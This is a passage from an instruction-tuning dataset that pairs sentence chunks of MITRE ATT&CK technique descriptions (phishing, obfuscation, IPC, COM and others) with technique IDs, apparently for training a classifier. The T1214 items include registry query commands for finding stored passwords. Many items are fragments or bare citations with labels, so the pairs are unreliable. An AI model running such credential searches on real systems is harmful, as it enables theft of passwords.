or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1488) if all sectors of a disk are wiped. ### Response: T1487."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078),", "output": "T1487", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), ### Response: T1487."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)", "output": "T1487", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017) ### Response: T1487."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may send phishing messages to gain access to victim systems.", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may send phishing messages to gain access to victim systems. ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "All forms of phishing are electronically delivered social engineering.", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: All forms of phishing are electronically delivered social engineering. ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Phishing can be targeted, known as spearphishing.", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Phishing can be targeted, known as spearphishing. ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In spearphishing, a specific individual, company, or industry will be targeted by the adversary.", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In spearphishing, a specific individual, company, or industry will be targeted by the adversary. ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns.", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns. ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems.", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Phishing may also be conducted via third-party services, like social media platforms.", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Phishing may also be conducted via third-party services, like social media platforms. ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., [Email Hiding Rules](https://attack.mitre.org/techniques/T1564/008)).(Citation: Microsoft OAuth Spam 2022)(Citation:", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., [Email Hiding Rules](https://attack.mitre.org/techniques/T1564/008)).(Citation: Microsoft OAuth Spam 2022)(Citation: ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Palo Alto Unit 42 VBA Infostealer 2014)", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Palo Alto Unit 42 VBA Infostealer 2014) ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Another way to accomplish this is by forging or spoofing(Citation: Proofpoint-spoof) the identity of the sender which can be used to fool both the human recipient as well as automated security tools.(Citation: cyberproof-double-bounce)", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Another way to accomplish this is by forging or spoofing(Citation: Proofpoint-spoof) the identity of the sender which can be used to fool both the human recipient as well as automated security tools.(Citation: cyberproof-double-bounce) ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Victims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation:", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Victims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation: ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools onto their computer (i.e., [User Execution](https://attack.mitre.org/techniques/T1204)).(Citation:", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools onto their computer (i.e., [User Execution](https://attack.mitre.org/techniques/T1204)).(Citation: ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Unit42 Luna Moth)", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Unit42 Luna Moth) ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems.", "output": "T1566.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. ### Response: T1566.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Spearphishing attachment is a specific variant of spearphishing.", "output": "T1566.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Spearphishing attachment is a specific variant of spearphishing. ### Response: T1566.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email.", "output": "T1566.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. ### Response: T1566.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry.", "output": "T1566.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. ### Response: T1566.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution.", "output": "T1566.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution. ### Response: T1566.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Spearphishing may also involve social engineering techniques, such as posing as a trusted source.", "output": "T1566.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Spearphishing may also involve social engineering techniques, such as posing as a trusted source. ### Response: T1566.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files.", "output": "T1566.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. ### Response: T1566.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system.", "output": "T1566.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. ### Response: T1566.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so.", "output": "T1566.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. ### Response: T1566.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses.", "output": "T1566.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. ### Response: T1566.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.", "output": "T1566.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one. ### Response: T1566.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Windows Registry stores configuration information that can be used by the system or other programs.", "output": "T1214", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Windows Registry stores configuration information that can be used by the system or other programs. ### Response: T1214."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services.", "output": "T1214", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. ### Response: T1214."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Sometimes these credentials are used for automatic logons.", "output": "T1214", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Sometimes these credentials are used for automatic logons. ### Response: T1214."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Example commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)\n\n* Local Machine Hive: <code>reg query HKLM /f password /t", "output": "T1214", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Example commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)\n\n* Local Machine Hive: <code>reg query HKLM /f password /t ### Response: T1214."}{"instruction": "List the MITRE techniques contained in the text.", "input": "REG_SZ /s</code>\n*", "output": "T1214", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: REG_SZ /s</code>\n* ### Response: T1214."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Current User Hive: <code>reg query HKCU /f", "output": "T1214", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Current User Hive: <code>reg query HKCU /f ### Response: T1214."}{"instruction": "List the MITRE techniques contained in the text.", "input": "password /t", "output": "T1214", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: password /t ### Response: T1214."}{"instruction": "List the MITRE techniques contained in the text.", "input": "REG_SZ /s</code>", "output": "T1214", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: REG_SZ /s</code> ### Response: T1214."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This is common behavior that can be used across different platforms and the network to evade defenses.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This is common behavior that can be used across different platforms and the network to evade defenses. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Payloads may be compressed, archived, or encrypted in order to avoid detection.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Payloads may be compressed, archived, or encrypted in order to avoid detection. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These payloads may be used during Initial Access or later to mitigate detection.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These payloads may be used during Initial Access or later to mitigate detection. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204).", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204). ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Volexity PowerDuke November 2016)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Volexity PowerDuke November 2016) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use compressed or archived scripts, such as JavaScript.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use compressed or archived scripts, such as JavaScript. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Linux/Cdorked.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Linux/Cdorked. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A We Live Security Analysis)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A We Live Security Analysis) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Carbon Black Obfuscation Sept 2016)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Carbon Black Obfuscation Sept 2016) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also abuse [Command Obfuscation](https://attack.mitre.org/techniques/T1027/010) to obscure commands executed from payloads or directly via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also abuse [Command Obfuscation](https://attack.mitre.org/techniques/T1027/010) to obscure commands executed from payloads or directly via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: FireEye Obfuscation June 2017)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: FireEye Obfuscation June 2017) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to make a payload difficult to analyze by removing symbols, strings, and other human readable information.", "output": "T1027.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to make a payload difficult to analyze by removing symbols, strings, and other human readable information. ### Response: T1027.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Scripts and executables may contain variables names and other strings that help developers document code functionality.", "output": "T1027.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Scripts and executables may contain variables names and other strings that help developers document code functionality. ### Response: T1027.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Symbols are often created by an operating system\u2019s `linker` when executable payloads are compiled.", "output": "T1027.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Symbols are often created by an operating system\u2019s `linker` when executable payloads are compiled. ### Response: T1027.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Reverse engineers use these symbols and strings to analyze code and to identify functionality in payloads.(Citation: Mandiant golang stripped binaries explanation)(Citation: intezer stripped binaries elf files 2018)", "output": "T1027.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Reverse engineers use these symbols and strings to analyze code and to identify functionality in payloads.(Citation: Mandiant golang stripped binaries explanation)(Citation: intezer stripped binaries elf files 2018) ### Response: T1027.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use stripped payloads in order to make malware analysis more difficult.", "output": "T1027.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use stripped payloads in order to make malware analysis more difficult. ### Response: T1027.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, compilers and other tools may provide features to remove or obfuscate strings and symbols.", "output": "T1027.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, compilers and other tools may provide features to remove or obfuscate strings and symbols. ### Response: T1027.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries have also used stripped payload formats, such as run-only AppleScripts, a compiled and stripped version of [AppleScript](https://attack.mitre.org/techniques/T1059/002), to evade detection and analysis.", "output": "T1027.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries have also used stripped payload formats, such as run-only AppleScripts, a compiled and stripped version of [AppleScript](https://attack.mitre.org/techniques/T1059/002), to evade detection and analysis. ### Response: T1027.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The lack of human-readable information may directly hinder detection and analysis of payloads.(Citation: SentinelLabs reversing run-only applescripts 2021)", "output": "T1027.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The lack of human-readable information may directly hinder detection and analysis of payloads.(Citation: SentinelLabs reversing run-only applescripts 2021) ### Response: T1027.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution.", "output": "T1559", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. ### Response: T1559."}{"instruction": "List the MITRE techniques contained in the text.", "input": "IPC is typically used by processes to share data, communicate with each other, or synchronize execution.", "output": "T1559", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: IPC is typically used by processes to share data, communicate with each other, or synchronize execution. ### Response: T1559."}{"instruction": "List the MITRE techniques contained in the text.", "input": "IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern.", "output": "T1559", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern. ### Response: T1559."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse IPC to execute arbitrary code or commands.", "output": "T1559", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse IPC to execute arbitrary code or commands. ### Response: T1559."}{"instruction": "List the MITRE techniques contained in the text.", "input": "IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or", "output": "T1559", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or ### Response: T1559."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Component Object Model](https://attack.mitre.org/techniques/T1559/001).", "output": "T1559", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Component Object Model](https://attack.mitre.org/techniques/T1559/001). ### Response: T1559."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Linux environments support several different IPC mechanisms, two of which being sockets and pipes.(Citation: Linux IPC) Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s, may also leverage underlying IPC mechanisms.", "output": "T1559", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Linux environments support several different IPC mechanisms, two of which being sockets and pipes.(Citation: Linux IPC) Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s, may also leverage underlying IPC mechanisms. ### Response: T1559."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) to facilitate remote IPC execution.(Citation: Fireeye Hunting COM June 2019)", "output": "T1559", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) to facilitate remote IPC execution.(Citation: Fireeye Hunting COM June 2019) ### Response: T1559."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use the Windows Component Object Model (COM) for local code execution.", "output": "T1559.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use the Windows Component Object Model (COM) for local code execution. ### Response: T1559.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019)", "output": "T1559.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) ### Response: T1559.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM)", "output": "T1559.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) ### Response: T1559.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Remote COM execution is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as  [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)\n\nVarious COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).(Citation: Microsoft COM) Specific COM objects also exist to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors related to privilege escalation and persistence.(Citation:", "output": "T1559.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Remote COM execution is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as  [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)\n\nVarious COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).(Citation: Microsoft COM) Specific COM objects also exist to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors related to privilege escalation and persistence.(Citation: ### Response: T1559.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Fireeye Hunting COM June 2019)(Citation:", "output": "T1559.001", "text": "Below is an instruction that describes a task, 